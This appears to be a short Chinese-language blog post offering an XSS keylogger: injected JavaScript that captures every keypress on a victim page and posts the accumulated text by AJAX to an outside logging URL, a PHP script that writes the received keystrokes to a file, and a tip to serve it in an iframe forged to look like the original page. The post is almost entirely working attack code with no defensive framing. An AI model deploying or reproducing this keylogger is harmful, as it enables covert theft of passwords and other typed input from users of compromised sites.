xss高级利用键盘记录

//创建ajax对象
function createAjax(){
var request=false;
 
//window对象中有XMLHttpRequest存在就是非IE,包括(IE7,IE8)
if(window.XMLHttpRequest){
request=new XMLHttpRequest();
  if(request.overrideMimeType){
request.overrideMimeType("text/xml");
}
//window对象中有ActiveXObject属性存在就是IE
}else if(window.ActiveXObject){
 
var versions=['Microsoft.XMLHTTP', 'MSXML.XMLHTTP', 'Msxml2.XMLHTTP.7.0','Msxml2.XMLHTTP.6.0','Msxml2.XMLHTTP.5.0', 'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP'];
  for(var i=0; i<versions.length; i++){
try{
request=new ActiveXObject(versions[i]);
     if(request){
return request;
}
}catch(e){
request=false;
}
}
}
return request;
}
//注意: 要每次请求都要使用一个新的XMLHttpRequest
/*
如果使用get将数据传给服务器,则服务器就使用$_GET
就直接通过Url将数据传给服务器
使用POST时一定要使用 ajax.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");

*/
var ajax=null;
var xl="username=";
//这里呢 获取键盘
function onkeypress() {
 
var realkey = String.fromCharCode(event.keyCode);
xl+=realkey; //自动累加获取键盘
show();//调用下面的函数
}
//调用这个函数 还有这个脚本是用onkeypress 方法获取的 比onup那些都要得多 不过不支持特殊字符例如退格
document.onkeypress = onkeypress;
function show(){
 
ajax=createAjax();
//每当状态改变时激发此方法
ajax.onreadystatechange=function(){
 if(ajax.readyState==4){
if(ajax.status==200){
//此处为服务端已经做好了响应
var data=ajax.responseText;
 
//alert(data);
  }else{
alert("页面请求失败");
}
}
}
 
var postdate = xl;//获取过来的数据
ajax.open("POST", "<a href="http://blog.itxti.net/tools/wtitxt.php" target="_blank">http://blog.itxti.net/tools/wtitxt.php</a>", true);//然后发送提交到post页面
ajax.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
ajax.setRequestHeader("Content-length", postdate.length);
ajax.setRequestHeader("Connection", "close");
ajax.send(postdate);
 //ajax.send(null);

服务端:

<?php
$code = $_POST["username"];
$file = fopen("key.txt","w");
fwrite($file,$code."\r\n");
?>


html引用  临时的跨域访问用js输出iframe包含 (内容要伪造和原页面一样)

 


你可能感兴趣的:(xss高级利用键盘记录)